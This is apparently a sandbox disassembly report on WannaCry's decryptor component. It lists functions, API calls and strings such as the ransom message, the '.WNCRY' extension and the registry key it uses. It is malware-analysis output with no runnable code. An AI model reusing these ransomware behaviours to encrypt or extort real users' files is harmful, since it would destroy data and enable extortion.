Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00411CF0, Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 450

APIs

Part of subcall function 00410A50: SetFilePointer.KERNEL32(?,?,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A79
Part of subcall function 00410A50: SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A9B

#823.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411E5B

Part of subcall function 00410AF0: ReadFile.KERNEL32(000000FF,00000404,ZA,00000404,00000000), ref: 00410B18

#825.MFC42(00000000), ref: 00411E84
_mbsstr.MSVCRT ref: 00411F04
_mbsstr.MSVCRT ref: 00411F1B
_mbsstr.MSVCRT ref: 00411F32
_mbsstr.MSVCRT ref: 00411F49

Part of subcall function 00411B80: SystemTimeToFileTime.KERNEL32(?,?), ref: 00411BE6

LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00412078
#825.MFC42(?,?,?,?,?,?,?,?,?,?,?), ref: 004121FB

Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B03
Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B32

Strings

\..\, xrefs: 00411EFE
/..\, xrefs: 00411F43
/../, xrefs: 00411F2C
\../, xrefs: 00411F15

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004020A0, Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 359

APIs

GetFileTime.KERNEL32(00000000,?,?,?), ref: 00402159
SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 00402274
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004022AB
SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 004022E5
SetEndOfFile.KERNEL32(00000000), ref: 004022E8

Part of subcall function 00404AF0: EnterCriticalSection.KERNEL32(00000014,00000000,00000000,00000000,0040234D,?,00000100,?,?), ref: 00404B08
Part of subcall function 00404AF0: LeaveCriticalSection.KERNEL32(00000014), ref: 00404B2D
Part of subcall function 00404AF0: LeaveCriticalSection.KERNEL32(00000014), ref: 00404B3B

Part of subcall function 0040A150: ??0exception@@QAE@ABQBD@Z.MSVCRT ref: 0040A16F
Part of subcall function 0040A150: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A17F
Part of subcall function 0040A150: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1A8
Part of subcall function 0040A150: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1B8
Part of subcall function 0040A150: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040A1E1
Part of subcall function 0040A150: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040A1F1

Part of subcall function 0040B3C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B3D9
Part of subcall function 0040B3C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B3E9
Part of subcall function 0040B3C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B4D8
Part of subcall function 0040B3C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B4E8
Part of subcall function 0040B3C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B5A5
Part of subcall function 0040B3C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B5B5
Part of subcall function 0040B3C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213AC), ref: 0040B60B
Part of subcall function 0040B3C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B61B

_local_unwind2.MSVCRT ref: 00402452
SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 0040248A
SetEndOfFile.KERNEL32(00000000), ref: 00402491
SetFileTime.KERNEL32(00000000,?,?,?), ref: 004024AD
_local_unwind2.MSVCRT ref: 00402511

Strings

WANACRY!, xrefs: 00402181

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00406DC0, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 103

APIs

SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 00406DDC
#823.MFC42(00000001,?,?), ref: 00406DEC
SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406E1D
_strnicmp.MSVCRT ref: 00406E3E
_strnicmp.MSVCRT ref: 00406E5A
SendMessageA.USER32(?,00000437,00000000,?), ref: 00406EA2
#6136.MFC42 ref: 00406EC4
#825.MFC42(?), ref: 00406ED7

Strings

T, xrefs: 00406EB4
<http://, xrefs: 00406E35
<https://, xrefs: 00406E51

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00412360, Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 366

APIs

Part of subcall function 00411660: malloc.MSVCRT ref: 004116C8
Part of subcall function 00411660: malloc.MSVCRT ref: 004116E7
Part of subcall function 00411660: free.MSVCRT(00000000,?,?,?,?,?,?,?,00000000), ref: 00411707

Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B03
Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B32

Part of subcall function 00411CF0: #823.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411E5B
Part of subcall function 00411CF0: #825.MFC42(00000000), ref: 00411E84
Part of subcall function 00411CF0: _mbsstr.MSVCRT ref: 00411F04
Part of subcall function 00411CF0: _mbsstr.MSVCRT ref: 00411F1B
Part of subcall function 00411CF0: _mbsstr.MSVCRT ref: 00411F32
Part of subcall function 00411CF0: _mbsstr.MSVCRT ref: 00411F49
Part of subcall function 00411CF0: LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00412078
Part of subcall function 00411CF0: #825.MFC42(?,?,?,?,?,?,?,?,?,?,?), ref: 004121FB

wsprintfA.USER32 ref: 004125F9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,?,00000000), ref: 0041262A
wsprintfA.USER32 ref: 00412684

Part of subcall function 00412250: GetFileAttributesA.KERNEL32(?,?,?), ref: 00412264
Part of subcall function 00412250: CreateDirectoryA.KERNEL32(?,00000000), ref: 00412272
Part of subcall function 00412250: GetFileAttributesA.KERNEL32(00000000), ref: 00412338
Part of subcall function 00412250: CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 0041234C

#823.MFC42(00004000), ref: 004126BF
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00412714
SetFileTime.KERNEL32(00000000,?,?,?), ref: 0041275F
CloseHandle.KERNEL32(00000000), ref: 00412770

Strings

%s%s, xrefs: 0041267E
:, xrefs: 00412666
%s%s%s, xrefs: 004125F3

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00413102, Relevance: 16.6, APIs: 11, Instructions: 111

APIs

__set_app_type.MSVCRT ref: 0041312F
__p__fmode.MSVCRT ref: 00413144
__p__commode.MSVCRT ref: 00413152
__setusermatherr.MSVCRT ref: 0041317E

Part of subcall function 004133B2: _controlfp.MSVCRT ref: 004133BC

_initterm.MSVCRT ref: 00413194
__getmainargs.MSVCRT ref: 004131B7
_initterm.MSVCRT ref: 004131C7
GetStartupInfoA.KERNEL32(?), ref: 00413206
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0041322A

Part of subcall function 004133E6: #1576.MFC42(?,?,?,62A,00413236,00000000,?,0000000A), ref: 004133F6

exit.MSVCRT ref: 0041323A
_XcptFilter.MSVCRT ref: 0041324C

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00401C70, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 114

APIs

wcscat.MSVCRT ref: 00401CC1
RegCreateKeyW.ADVAPI32(80000001,?,?), ref: 00401D00
GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 00401D2A
RegSetValueExA.ADVAPI32(?,0041FDC4,00000000,00000001,?), ref: 00401D53
RegQueryValueExA.ADVAPI32 ref: 00401D81
SetCurrentDirectoryA.KERNEL32(?), ref: 00401D98
RegCloseKey.ADVAPI32(00000000), ref: 00401DA3

Strings

WanaCrypt0r, xrefs: 00401CAA
Software\, xrefs: 00401C7F

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404280, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 51

APIs

#6663.MFC42(mailto:,00000000,?), ref: 004042AC
GetParent.USER32(?), ref: 004042BB
#2864.MFC42(00000000), ref: 004042C2
SendMessageA.USER32(?,00001388,?,?), ref: 004042D5
#2379.MFC42 ref: 004042DD
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 004042F7
#2379.MFC42(?), ref: 004042FF

Part of subcall function 00404530: #289.MFC42 ref: 0040455F
Part of subcall function 00404530: #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
Part of subcall function 00404530: GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
Part of subcall function 00404530: #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
Part of subcall function 00404530: #613.MFC42 ref: 004045BB

Strings

open, xrefs: 004042F0
mailto:, xrefs: 004042A5

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040BAF0, Relevance: 15.3, APIs: 10, Instructions: 301

APIs

Part of subcall function 0040C8F0: #823.MFC42(00000018,0040BB62,00000000,00000000), ref: 0040C8F2

strtok.MSVCRT ref: 0040BBA9

Part of subcall function 0040C7B0: #825.MFC42(?,00000000,0040BBD1,00000000,00000000,00000000), ref: 0040C7D7

Part of subcall function 0040C920: ?_Xlen@std@@YAXXZ.MSVCP60(00000001,?,0040BBE8,00000000,?,00000000,00000000,00000000), ref: 0040C92D

Part of subcall function 0040C800: #823.MFC42(00000018,00000000,00000000,00000001,?,0040BC08), ref: 0040C80F

strtok.MSVCRT ref: 0040BC22
#825.MFC42(?,?), ref: 0040BCDD
GetTickCount.KERNEL32(?,00000000,00000000), ref: 0040BCEC
srand.MSVCRT ref: 0040BCF3
rand.MSVCRT ref: 0040BD09

Part of subcall function 0040CE50: #825.MFC42(?,?,0040BD9E,00000000,?,?,?,00000000,00000000), ref: 0040CE6F
Part of subcall function 0040CE50: #825.MFC42(00000008,?,0040BD9E,00000000,?,?,?,00000000,00000000), ref: 0040CE95

#825.MFC42(00000000,00000000,?,?,?,00000000,00000000), ref: 0040BD9F
Sleep.KERNEL32(00000BB8,00000000,?,?,?,00000000,00000000), ref: 0040BDB5

Part of subcall function 0040C860: #825.MFC42(?,00000000,00000428,00422214,00000000,0040BDE8,?,?,?), ref: 0040C8A3
Part of subcall function 0040C860: #825.MFC42(?,00000000,00000428,00422214,00000000,0040BDE8,?,?,?), ref: 0040C8B5

#825.MFC42(?,?,?,?), ref: 0040BDED
#825.MFC42(?), ref: 0040BE7A

Part of subcall function 0040C740: #825.MFC42(?,00422214,?,00000000,0040BE6F,?,?,?,00000000), ref: 0040C776
Part of subcall function 0040C740: #825.MFC42(?,00422214,?,00000000,0040BE6F,?,?,?,00000000), ref: 0040C794

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004038F0, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 84

APIs

Part of subcall function 00403EB0: #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
Part of subcall function 00403EB0: #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
Part of subcall function 00403EB0: #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
Part of subcall function 00403EB0: #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
Part of subcall function 00403EB0: #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
Part of subcall function 00403EB0: #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA

SendMessageA.USER32(?,00000147,00000000,00000000), ref: 0040392C
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00403946
sprintf.MSVCRT ref: 0040397A

Part of subcall function 00402020: GlobalAlloc.KERNEL32(00000000,00100000,?), ref: 00402055
Part of subcall function 00402020: GlobalAlloc.KERNEL32(00000000,00100000), ref: 0040206D

Part of subcall function 00403A20: GetLogicalDrives.KERNEL32 ref: 00403A35
Part of subcall function 00403A20: GetDriveTypeW.KERNEL32 ref: 00403A7A
Part of subcall function 00403A20: GetDiskFreeSpaceExW.KERNEL32(0000005C,?,0000005C,?), ref: 00403A95

#1200.MFC42(All your files have been decrypted!,00000040,00000000,?,00000000,?), ref: 004039C8

Part of subcall function 00403AF0: fopen.MSVCRT ref: 00403B17
Part of subcall function 00403AF0: fgets.MSVCRT ref: 00403BD1
Part of subcall function 00403AF0: fclose.MSVCRT ref: 00403C62

CloseHandle.KERNEL32(?), ref: 004039F1

Strings

%08X.dky, xrefs: 00403969
Pay now, if you want to decrypt ALL your files!, xrefs: 004039A7
All your files have been decrypted!, xrefs: 004039C3

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00402560, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 81

APIs

wcscpy.MSVCRT ref: 0040257D
wcsrchr.MSVCRT ref: 0040258A
_wcsicmp.MSVCRT ref: 004025A5
_wcsicmp.MSVCRT ref: 004025B4
wcscat.MSVCRT ref: 004025D3

Part of subcall function 004020A0: GetFileTime.KERNEL32(00000000,?,?,?), ref: 00402159
Part of subcall function 004020A0: SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 00402274
Part of subcall function 004020A0: _local_unwind2.MSVCRT ref: 00402452
Part of subcall function 004020A0: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 0040248A
Part of subcall function 004020A0: SetEndOfFile.KERNEL32(00000000), ref: 00402491
Part of subcall function 004020A0: SetFileTime.KERNEL32(00000000,?,?,?), ref: 004024AD
Part of subcall function 004020A0: _local_unwind2.MSVCRT ref: 00402511

Strings

.org, xrefs: 004025CD
.WNCRY, xrefs: 0040259F
.WNCYR, xrefs: 004025AE

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404090, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 55

APIs

#567.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040B0
#540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040C6
#540.MFC42(?,?,?,?,?,?,00413739,000000FF), ref: 004040D5
#860.MFC42(00421798), ref: 004040F6
#858.MFC42(00000000,00421798), ref: 004040FE
LoadCursorA.USER32(00000000,00007F89), ref: 00404118
LoadCursorA.USER32(00000000,00007F00), ref: 00404123

Strings

0ZA, xrefs: 004040DD

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00407CB0, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40

APIs

Part of subcall function 004030E0: #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
Part of subcall function 004030E0: #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131

#2514.MFC42 ref: 00407CE5
#2414.MFC42 ref: 00407D1A
#2414.MFC42 ref: 00407D4F
#616.MFC42 ref: 00407D6E
#693.MFC42 ref: 00407D7F
#641.MFC42 ref: 00407D93

Strings

[A, xrefs: 00407D5B
[A, xrefs: 00407D26

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040C240, Relevance: 13.7, APIs: 9, Instructions: 195

APIs

Part of subcall function 0040BED0: #823.MFC42(0000002C), ref: 0040BF0C
Part of subcall function 0040BED0: GetComputerNameA.KERNEL32(?,?), ref: 0040BFB9
Part of subcall function 0040BED0: GetUserNameA.ADVAPI32 ref: 0040BFF5

SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2B6
SendMessageA.USER32(?,00004E20,00000000,00000000), ref: 0040C2E3

Part of subcall function 0040DC00: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0040DC9E
Part of subcall function 0040DC00: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040DCAD

SendMessageA.USER32(?,00004E21,000000FF,00000000), ref: 0040C3B7
SendMessageA.USER32(?,00004E21,00000000,00000000), ref: 0040C3EE
SendMessageA.USER32(?,00004E22,000000FF,00000000), ref: 0040C427
fopen.MSVCRT ref: 0040C46B
fwrite.MSVCRT ref: 0040C489
fclose.MSVCRT ref: 0040C48F
SendMessageA.USER32(?,00004E22,00000000,00000000), ref: 0040C4A9

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004085C0, Relevance: 13.6, APIs: 9, Instructions: 75

APIs

#567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
#341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
GetSysColor.USER32 ref: 0040861D
GetSysColor.USER32(00000009), ref: 00408624
GetSysColor.USER32(00000012), ref: 0040862B
GetSysColor.USER32(00000002), ref: 00408632
SystemParametersInfoA.USER32(00001008,00000000,00000000,00000000), ref: 0040864A
GetSysColor.USER32(0000001B), ref: 0040865C
#6140.MFC42(00000002,000000FF), ref: 00408667

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00401A90, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68

APIs

CreateProcessA.KERNEL32 ref: 00401AE3
WaitForSingleObject.KERNEL32(?,?), ref: 00401AFB
TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00401B0C
GetExitCodeProcess.KERNEL32(?,?), ref: 00401B20
CloseHandle.KERNEL32(?), ref: 00401B31
CloseHandle.KERNEL32(?), ref: 00401B38

Strings

D, xrefs: 00401AA0

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00401140, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49

APIs

#4710.MFC42 ref: 00401145
SendMessageA.USER32(?,00000404,00000001,00000000), ref: 00401160
SendMessageA.USER32(?,00000401,00000000,00280000), ref: 00401175
#537.MFC42(Connecting to server...), ref: 0040118D

Part of subcall function 00401970: #3092.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 00401997
Part of subcall function 00401970: #6199.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 0040199E
Part of subcall function 00401970: #800.MFC42(00000406,?,00000000,004134D8,000000FF,00401199,Connecting to server...), ref: 004019AF

SetTimer.USER32(?,000003E9,000003E8,00000000), ref: 004011B3
CreateThread.KERNEL32(00000000,00000000,004012D0,?,00000000,00000000), ref: 004011D1

Strings

Connecting to server..., xrefs: 00401188

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040B3C0, Relevance: 12.2, APIs: 8, Instructions: 203

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B3D9
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B3E9
??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B4D8
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B4E8

Part of subcall function 0040ADC0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040ADD9
Part of subcall function 0040ADC0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040ADE9

??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B5A5
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B5B5

Part of subcall function 0040B0C0: ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B0D9
Part of subcall function 0040B0C0: _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B0E9

??0exception@@QAE@ABQBD@Z.MSVCRT(004213AC), ref: 0040B60B
_CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B61B

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00407C30, Relevance: 12.0, APIs: 8, Instructions: 48

APIs

OpenClipboard.USER32(?), ref: 00407C38
GlobalAlloc.KERNEL32(00000002,?), ref: 00407C4F
CloseClipboard.USER32 ref: 00407C5B
EmptyClipboard.USER32 ref: 00407C66
GlobalLock.KERNEL32(00000000), ref: 00407C79
GlobalUnlock.KERNEL32(00000000), ref: 00407C92
SetClipboardData.USER32(00000001,00000000), ref: 00407C9B
CloseClipboard.USER32 ref: 00407CA1

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00402F10, Relevance: 10.6, APIs: 7, Instructions: 139

APIs

?_Xran@std@@YAXXZ.MSVCP60(?,00000000,?,?,?,?,00413591,000000FF,00402DE4,00000008,?,?), ref: 00402F6E
